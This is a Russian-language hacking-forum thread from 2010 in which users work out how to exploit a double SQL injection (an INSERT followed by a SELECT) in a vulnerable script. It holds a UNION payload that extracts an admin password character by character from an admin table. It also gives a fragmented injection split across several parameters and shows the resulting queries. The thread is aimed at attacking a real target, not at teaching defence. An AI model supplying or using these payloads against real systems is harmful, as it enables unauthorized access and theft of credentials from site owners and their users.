ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Нужна помощь со сложной двойной sql инъекцией.
  #1  
Старый 01.02.2010, 17:12
Аватар для budden
budden
Участник форума
Регистрация: 26.07.2008
Сообщений: 267
Провел на форуме:
1343031

Репутация: 184
По умолчанию Нужна помощь со сложной двойной sql инъекцией.

Сабж.

Имеем уязвимый скрипт, в котором с полученными параметрами выполняется 2 запроса (в указанном порядке):

1) insert into DBinfo (user, text1, text2, text3 ) values ('$USER','$text1', now(), '$text3')

2) select id from DBinfo where user='$USER' and text1='$text1' and text3='$text3'

magic_quotes = ON, при этом кавычки можно вставить только в одно поле - $USER (у него вероятно стоит stripslashes()).
Исходные данные: mysql 4.0.10 (а значит никаких подзапросов )

Как видно, отсылаемые данные сначала заносятся в таблицу, где автоинкрементом вырастает соответсвующий им id, а затем идет запрос, чтобы узнать этот id. Полученный во втором запросе id я могу впоследствии увидеть. Сразу возникает мысль, что нужно сделать так, чтобы во втором запросе вместо айди я получил что-то нужное мне с помощью union:
Код:
'+union+select+ascii(substring(password,2,1))+from+admin_table/*
Запрос тогда примет вид:
Код:
select id from DBinfo where user='' union select ascii(substring(password,2,1)) from admin_table/*' and text1='$text1' and text3='$text3'
Все бы хорошо, однако перед этим должен успешно выполниться INSERT запрос, и при указнном $USER он естественно ругается. Посему вопрос - может у кого-нибудь есть идеи, как в указанной ситуации выкрутиться?

Спасибо всем, кто напряжет мозг

Последний раз редактировалось budden; 01.02.2010 в 18:55..
 
Ответить с цитированием

  #2  
Старый 01.02.2010, 17:52
Аватар для l1ght
l1ght
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме:
14023893

Репутация: 2163
По умолчанию

если внимательно присмотрется в оба запроса, можно заметить, что в инсерте участвует на 1 переменную больше, что дает нам возможность реализовать фрагментированную sqli
было:
Цитата:
insert into DBinfo (user, text1, text2, text3 ) values ('$USER','$text1','$text2', '$text3')
Цитата:
select id from DBinfo where user='$USER' and text1='$text1' and text3='$text3'
задали:
$USER='or
$text1=or
$text2=,1,1,1)/*
$text3=union select xek/*
стало:
Цитата:
insert into DBinfo (user, text1, text2, text3 ) values (''or','or',',1,1,1)/*','union select xek/*')
Цитата:
select id from DBinfo where user=''or' and text1='or' and text3='union select xek/*'
и желательно в дальнейшем постить такие вопросы сюда
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
 
Ответить с цитированием

  #3  
Старый 01.02.2010, 18:03
Аватар для budden
budden
Участник форума
Регистрация: 26.07.2008
Сообщений: 267
Провел на форуме:
1343031

Репутация: 184
По умолчанию

l1ght
Необычно, однако $text2 = now(), сам я ее задать не могу.

Извиняюсь, что сразу не указал, не думал, что может сыграть роль.

Последний раз редактировалось budden; 01.02.2010 в 19:25..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть первая k00p3r Чужие Статьи 1 12.07.2005 08:51
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ